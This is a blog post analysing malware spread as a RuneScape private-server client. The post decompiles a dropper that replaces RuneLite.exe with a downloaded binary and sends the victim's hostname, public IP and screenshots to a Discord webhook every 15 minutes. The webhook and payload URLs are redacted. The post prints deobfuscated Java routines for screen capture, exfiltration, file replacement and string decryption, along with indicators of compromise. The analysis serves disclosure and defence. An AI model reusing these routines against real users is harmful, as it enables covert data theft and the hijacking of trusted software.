OSRS Malware

Mar 26, 2025

Warning

This post mentions names and URLs of malicious software that you do not want to run! No links will directly take you to these, and you're advised not to try finding them unless you are fully aware of the risks.

How it started

It was a regular day in Gielinor, trading happily at the Grand Exchange, with the usual stream of scams and spammy messages trying to get the attention of unwitting players...

Over the past few months many messages of "OSBuddy is back!" have been seen, attempting to prompt players to visit the website and download the alternative client they once knew (and possibly loved). Unfortunately, the real OSBuddy1 (formerly RSBuddy) is long gone. No player really cares about these messages, simply report and move on - it's unlikely for anyone to fall for the trick of "go to this website and run our random EXE file", or at least I hope so.

What stood out on the day preceeding these events was a different service/site being recommended.. An indepedent RSPS (RuneScape Private Server) that claimed to "be back", as if it had existed before and had gone away. Advertising an RSPS publically, especially with the recent news of Project Zanaris2 from Jagex, piqued my interest. Doubly so because the message used a lot of diacritics on letters, evidently attempting to avoid any automated chat filtering.

The RSPS

The RSPS being advertised was by the name of Ikov3. With a first look at the website, it looks like exactly what it says it will be - a private RuneScape server that's free to play and provides the "Ultimate Experience". There's even apparently 3600 players online!

Screenshot of the private server website, with a header image of two characters standing wearing a Pepe Frog and Doge head
The addition of the custom hats/heads really tells you this is a Serious Server.

The various links on the sidebar go to places you would expect, ignoring the social links:

  • Download takes you directly to an EXE hosted in a GitHub-hosted git repository
  • Discord goes to a valid-looking discord.gg link
  • Events simply scrolls down the page, listing events for the Chinese New Year themed around Year of the Dragon4, making those out of date by a year
  • Wiki takes you to a Fandom5 site, with some questionable content for some skills

The Client EXE

Looking at the client they're providing is the interesting part, as it isn't all that weird to simply be providing an EXE for players to run. Everybody uses Windows, right?

This link is provided as reference and for others to investigate if they wish. DO NOT attempt to run this directly on your own device.

hxxps://github.com/IkovRSPS/downloads/ raw/refs/heads/main/Ikov.exxe

Starting with the basics, we'll see what file thinks this could be, and discover that it's just a ZIP archive

file Ikov.exe 
Ikov.exe: Zip archive, with extra data prepended

We could unzip this already, but it's also interesting to see what strings finds, and a few interesting ones stick out:

strings Ikov.exe
%LOCALAPPDATA%\RuneLite\jre;C:\Users\%USERNAME%\AppData\Local\RuneLite\jre;C:\Program Files\RuneLite\jre;C:\Program Files (x86)\RuneLite\jre;D:\RuneLite\jre;E:\RuneLite\jre;F:\RuneLite\jre;D:\Games\RuneLite\jre;E:\Games\RuneLite\jre;C:\RuneLite\jre 
true
An error occurred while starting the application.
This application requires a Java Runtime Environment.
This application requires a Java Runtime Environment
The registry refers to a nonexistent Java Runtime Environment installation or the runtime is corrupted.
META-INF/PK
FileDownloader.class
META-INF/MANIFEST.MF
META-INF/PK
FileDownloader.classPK
META-INF/MANIFEST.MFPK

Is this just a fork of RuneLite6? What is FileDownloader?

Extracting the "EXE" gives us what looks like a small Java App - the META-INF files and that FileDownloader.class

FileDownloader.class

With the power of FernFlower7 on our side, we can decompile the java class back to a reasonably useable java codebase!

   private static boolean llI(int var0) {
      return var0 != 0;
   }

   private static boolean lIIl(int var0, int var1) {
      return var0 != var1;
   }

   private static boolean lIII(int var0, int var1) {
      return var0 < var1;
   }

   public FileDownloader() {
   }

Unfortunately it's pretty quick to show this code has been run through an Obfuscator before being compiled. Almost all of the functions and variable names are variations on the characters l and I (lowercase L and Uppercase i)

The result of the obfuscator leaves us with some lovely looking code, like this:

char[] var10000 = new char[l[5]];
var10000[l[1]] = (char)l[14];
var10000[l[0]] = (char)l[15];
var10000[l[2]] = (char)l[16];
var10000[l[3]] = (char)l[17];
var10000[l[4]] = (char)l[18];
char[] lllllllllIlllll = var10000;
byte lllllllllIlllIl = lllllllllIlllll;
short lllllllllIlllII = lllllllllIlllll.length;
boolean lllllllllIllIll = l[1];

do {
    if (!lIII(lllllllllIllIll, lllllllllIlllII)) {
    return null;
    }

    char llllllllllIIIII = lllllllllIlllIl[lllllllllIllIll];
    File llllllllllIIIIl = new File(String.valueOf((new StringBuilder()).append(llllllllllIIIII).append(I[l[19]]).append(System.getProperty(I[l[20]])).append(I[l[21]])));
    if (llI(llllllllllIIIIl.exists()) && llI(llllllllllIIIIl.isDirectory())) {
    return llllllllllIIIIl;
    }

    ++lllllllllIllIll;
    "".length();
} while("  ".length() <= (33 ^ 37));

There are also a large number of Base64 encoded strings that are used for the I[l[##]] vars, further protecting the values from our prying eyes. This level of obfuscation and string protection doesn't sound very "friendly game client".

Screenshot of various Base64-encoded Strings in the java code
Strings partly covered by a Mosaic/pixel filter to protect the 'innocent'

De-obfuscating this code is a long task of renaming things by using "Refactor Rename" methods and taking guesses while unpicking the puzzle. Rather than simply using find/replace, which could clash across different parts of the code, refactoring ensures the rename only happens within the current scope.

But before refactoring to deobfuscate most of the names, here's a few of the function names that did not get obfuscated:

captureScreenshot()
sendWebhook()
downloadFile()
getPublicIP()
executeTask()
findRuneLiteFolder()
sendScreenshotToWebhook()

Some of those names are pretty interesting, and alarming. downloadFile in a class called FileDownloader at least makes sense, but sending webhooks? Capturing screenshots? Executing tasks? And what is the obsession with finding the RuneLite folder?

The protected strings

Those Base64 encoded strings must be hiding something, or at least they'll be able to provide us some information. Figuring out how to decode those is likely to give us a lot more insight into what this is doing, and help us name the functions that are using those values.

Looking through the list, there are three functions being used across the different strings: l, lI, and I. The second value is also always 5 characters long. Attempting to simply Base64Decode the longer string returns effectively random-looking bytes, perhaps that second value is used as part of an encryption key?

Thankfully when obfuscating the code, the imported libraries/packages are not affected, looking at the first of those functions gives away some hints right away:

   private static String l(String lllllllIlIIlllI, String lllllllIlIIlIll) {
      try {
         SecretKeySpec lllllllIlIlIIIl = new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("MD5").digest(lllllllIlIIlIll.getBytes(StandardCharsets.UTF_8)), l[8]), "DES");
         Exception lllllllIlIIlIIl = Cipher.getInstance("DES");
         lllllllIlIIlIIl.init(l[2], lllllllIlIlIIIl);
         return new String(lllllllIlIIlIIl.doFinal(Base64.getDecoder().decode(lllllllIlIIlllI.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8);
      } catch (Exception var4) {
         var4.printStackTrace();
         return null;
      }
   }

This code is fairly simple, even with the obfustacted variable names, but we can fix those names to make it a little easier to follow:

private static String decryptMD5DES(String encryptedString, String secretKey) {
    try {
        SecretKeySpec keySpec = new SecretKeySpec(Arrays.copyOf(MessageDigest.getInstance("MD5").digest(secretKey.getBytes(StandardCharsets.UTF_8)), dataIndexes[8]), "DES"); // 8 bytes
        Cipher cipherDES = Cipher.getInstance("DES");
        cipherDES.init(dataIndexes[2], keySpec); // Cipher.DECRYPT_MODE
        return new String(cipherDES.doFinal(Base64.getDecoder().decode(encryptedString.getBytes(StandardCharsets.UTF_8))), StandardCharsets.UTF_8);
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    }
}

This confirms the second value in that long string list is used as a "seed" for a very basic key-derivation function: Calculating the MD5 hash of the value and using the first 8 bytes as the DES encryption key.

The two other functions are fairly similar, using a combination of MD5 and Blowfish for the one, and a faily basic XOR for the other. It's possible these functions were designed by the Obfuscation tool that was used, but it's also likely these were specifically written to stop these strings being seen by a casual observer.

A list of these strings, with empty values removed and URLs sanitised/redacted:

🟢 Running FileDownloader...
🖥️ PC Name: 
🌍 Public IP: 
❌ RuneLite folder not found.

\RuneLite.exe
📂 RuneLite found at: 
[Redacted 1]
✅ Successfully replaced RuneLite.exe at: 
❌ Failed to replace RuneLite.exe
📸 Screenshot captured: 
❌ Failed to capture screenshot.
❌ Unexpected error: 

:\Users\
user.name
\AppData\Local\RuneLite
🌐 Attempting to download: 
GET
User-Agent
Mozilla/5.0
🔄 Server Response Code: 
❌ Failed to download file. Server returned: 

📂 Creating directory: 
✅ File downloaded successfully to: 
❌ Error downloading file: 

hxxps://checkip.amazonaws.com
Unknown
[Redacted 2]
POST
Content-Type
application/json
\
\\
"
\"

\n
{ "username": "PC: 
", "content": "
" }
UTF-8
📤 Webhook Response Code: 
❌ Webhook failed. Server response: 
✅ Webhook sent successfully.
❌ Webhook failed: 
❌ Screenshot file is missing, cannot send to webhook.
❌ Screenshot file not found at: 
null

📤 Sending logs and screenshot to webhook...
✅ Preparing multipart request for screenshot...
[Redacted 2]
POST
----Boundary
Content-Type
multipart/form-data; boundary=
{"username": "PC: 
","embeds": [{"title": "📄 File Downloader Logs","color": 16776960,"description": "
\
\\
"
\"
\n
"}]}
UTF-8
--
Content-Disposition: form-data; name="payload_json"
Content-Type: application/json
--

Content-Disposition: form-data; name="file"; filename="screenshot.png"
Content-Type: image/png

✅ Sending screenshot file: 

--
--

📤 Screenshot Webhook Response Code: 
✅ Screenshot and logs sent successfully.
✅ Screenshot successfully sent to Discord webhook.
❌ Screenshot webhook failed. Server response: 
❌ Screenshot webhook failed. Response: 
❌ Failed to send screenshot: 
❌ Error in sendScreenshotToWebhook: 
java.io.tmpdir
\screenshot.png
png
❌ Failed to capture screenshot: 
[Redacted 2]
[Redacted 1]

The strings provide some valueable insight - the code is responsible for downloading a file and replacing a legitimate copy of RuneLite with a modified one, as well as taking some screenshots and miscalaneous data to be sent off to a remote server. Notably, discord embed formatting is present suggesting this gets sent into a discord channel afterwards.

Those questionable functions

A deeper look into some of those defined functions, to double-check they're doing what we think..

main

public static void main(String[] args) {
    ScheduledExecutorService threadExecutor = Executors.newScheduledThreadPool(dataIndexes[0]); // 1 Thread
    threadExecutor.scheduleAtFixedRate(() -> {
        try {
        executeTask();
        } catch (Exception e) {
        e.printStackTrace();
        return;
        }
    }, 0L, 15L, TimeUnit.MINUTES);
}

The main function is fairly basic, taking no arguments and scheduling it's own executeTask to run every 15 minutes.

executeTask

public static void executeTask() {
      LOGS.clear();
      LOGS.add(encryptedData[dataIndexes[1]]); // "Running FileLoader..."

      try {
        // Get the name and public IP of this machine, append to the running log
         String computerHostname = InetAddress.getLocalHost().getHostName();
         String computerPublicIP = getPublicIP();
         LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[0]]).append(computerHostname)));
         LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[2]]).append(computerPublicIP)));

        // Format a path where the RuneLite directory should be
        // If the directory cannot be found; append to the log, send to the webhook, and return
         File runeliteFolder = findRuneLiteFolder();
         if (isNull(runeliteFolder)) {
            LOGS.add(encryptedData[dataIndexes[3]]);
            sendWebhook(String.join(encryptedData[dataIndexes[4]], LOGS));
            return;
         }

        // With the RuneLite directory found, format the whole path to the legitimate RuneLite.exe
         String runeliteExePath = String.valueOf((new StringBuilder()).append(runeliteFolder.getAbsolutePath()).append(encryptedData[dataIndexes[5]])); // Runelite/RuneLite.exe
         LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[6]]).append(runeliteExePath)));

        // Attempt to download a replacement EXE
         if (downloadFile(encryptedData[dataIndexes[7]], runeliteExePath)) {
            LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[8]]).append(runeliteExePath)));
         } else {
            LOGS.add(encryptedData[dataIndexes[9]]);
         }

        // Attempt to take a screenshot, and if successful send to the webhook
         File screenCapFile = captureScreenshot();
         if (checkObjectIsNotNull(screenCapFile)) {
            LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[10]]).append(screenCapFile.getAbsolutePath())));
            sendScreenshotToWebhook(screenCapFile);
         } else {
            LOGS.add(encryptedData[dataIndexes[11]]);
         }

      } catch (Exception var5) {
        // If anything goes wrong, send that to the webhook too
         StringWriter exString = new StringWriter();
         var5.printStackTrace(new PrintWriter(exString));
         LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[12]]).append(exString.toString())));
         sendWebhook(String.join(encryptedData[dataIndexes[13]], LOGS));
         return;
      }

   }

This is where we get into the meat of the behaviour, where information about the device running this code will be collected to be sent to the webhook. Comments have been added in-line to walk through the behaviour. The really relevant parts here are where this will do nothing if it cannot find RuneLite, and that it will replace it's EXE if it can be found.

captureScreenshot

public static File captureScreenshot() {
    try {
        Robot myRobot = new Robot();
        Rectangle myRectangle = new Rectangle(Toolkit.getDefaultToolkit().getScreenSize());
        BufferedImage capturedScreenImage = myRobot.createScreenCapture(myRectangle);
        File ImageFileToUpload = new File(String.valueOf((new StringBuilder()).append(System.getProperty(encryptedData[dataIndexes[96]])).append(encryptedData[dataIndexes[97]])));
        ImageIO.write(capturedScreenImage, encryptedData[dataIndexes[98]], ImageFileToUpload);
        return ImageFileToUpload;
    } catch (Exception e) {
        LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[99]]).append(e.getMessage())));
        return null;
    }
}

This does exactly what it says on the tin - take a screenshot of the whole screen, write it to a file and return that path to be used by it's invoker/caller.

sendWebhook

Not including this code here, but does what the name suggests. Takes the data provided to it, formats it a little, and sends it off to the webhook. There's a few different cases of string replacements to ensure the data is in the right format, mostly to comply with the multipart formatting and the discord embed format.

downloadFile

This function doesn't need the whole code, as a large portion is standard HTTP request handling (i.e. setting up a connection, is it a good response code) but there is one particular highlight.

File runeliteFile = new File(runeliteExePath);
File runeliteDir = runeliteFile.getParentFile();
if (!runeliteDir.exists()) {
    LOGS.add(String.valueOf((new StringBuilder()).append(encryptedData[dataIndexes[30]]).append(runeliteDir.getAbsolutePath())));
    runeliteDir.mkdirs();
}

This code checks if the RuneLite directory exists, and if not then it will create it. This is fairly amusing, as if that RuneLite directory was not found earlier (in executeTask) this code would never be reached. The code then does the expected of reading the HTTP response body and writing it to the destination file (in this case, overwriting a legitimate RuneLite exe)

getPublicIP

public static String getPublicIP() {
    try {
        URL httpUrl = new URL(encryptedData[dataIndexes[36]]);
        BufferedReader httpResponseBufRead = new BufferedReader(new InputStreamReader(httpUrl.openStream()));
        return httpResponseBufRead.readLine();
    } catch (IOException var2) {
        return encryptedData[dataIndexes[37]];
    }
}

Short and sweet, but without all of the additional HTTP response checking. I guess they assume Amazon AWS' checkip service will always return correctly..

findRuneLiteFolder

public static File findRuneLiteFolder() {
    char[] var10000 = new char[dataIndexes[5]]; // 5
    var10000[dataIndexes[1]] = (char)dataIndexes[14]; // 67 C
    var10000[dataIndexes[0]] = (char)dataIndexes[15]; // 68 D
    var10000[dataIndexes[2]] = (char)dataIndexes[16]; // 69 E
    var10000[dataIndexes[3]] = (char)dataIndexes[17]; // 70 F
    var10000[dataIndexes[4]] = (char)dataIndexes[18]; // 71 G
    char[] driveLetters = var10000;
    int maxCounter = driveLetters.length;
    int counter = dataIndexes[1];

    do {
        if (!firstLessThanSecond(counter, maxCounter)) {
        return null;
        }

        char driveLetter = driveLetters[counter];
        File runeliteDirectory = new File(String.valueOf((new StringBuilder()).append(driveLetter).append(encryptedData[dataIndexes[19]]).append(System.getProperty(encryptedData[dataIndexes[20]])).append(encryptedData[dataIndexes[21]])));
        if (runeliteDirectory.exists() && runeliteDirectory.isDirectory()) {
        return runeliteDirectory;
        }

        ++counter;
    } while(true);

    return null;
}

Trying to find the RuneLite directory is done in a fairly straightforward way. Since there's already all the assumptions that this is only going to run on Windows, it starts at the letter C and appends the rest of the expected path (from the earlier decoded strings) to check that path on each drive until it finds one that matches. Amusingly, if you have RuneLite on any drive letter past G, you're safe from this.

Summary

So far, we've seen what this first stage FileDownloader does as part of the Ikov.exe "RSPS Client".. Which by now, we know is purely a front for a malicious executable replacing a legitimate one, using a name that people may have recognised in the past in an attempt to foster trust.

Curious about the EXE that gets downloaded and what it does? Look out for a Part Two diving into what it's doing.

Anecdotal

Checking WHOIS data for the Ikov domain, it was registered very recently on 2025-03-17T23:11:17Z, via Ultahost The IP address for the Ikov site 146.103.45.1 belongs to an IP block of a "Private Customer" (thanks RIPE), runs cPanel, and is routed by ASN212238 "Datacamp Limited"

Hashes

ccc46b725ecb7f3607c2642163a110308ce45a3008b5bb9d494071772cb89bed Ikov.exe 1b33d4bda99106ffb25ed2497cd3d027195c2deb93327e9239490833953f9775 FileDownloader.class

1

OSBuddy on Oldschool RuneScape Wiki, note the Scammer warning displayed

2

"Community Worlds", details on the official Project Zanaris microsite

3

Ikov RSPS hxxps://ikovrsps.org/

4

The Chinese "Year of the Dragon" was 2024

5

Fandom Wiki https://ikovrsps.fandom.com/wiki/Guides (safe, but distasteful)

6

RuneLite is an Approved client for OSRS with plugin support

7

Java decompiler tool written by JetBrains

https://blog.hiramiya.me/posts/feed.xml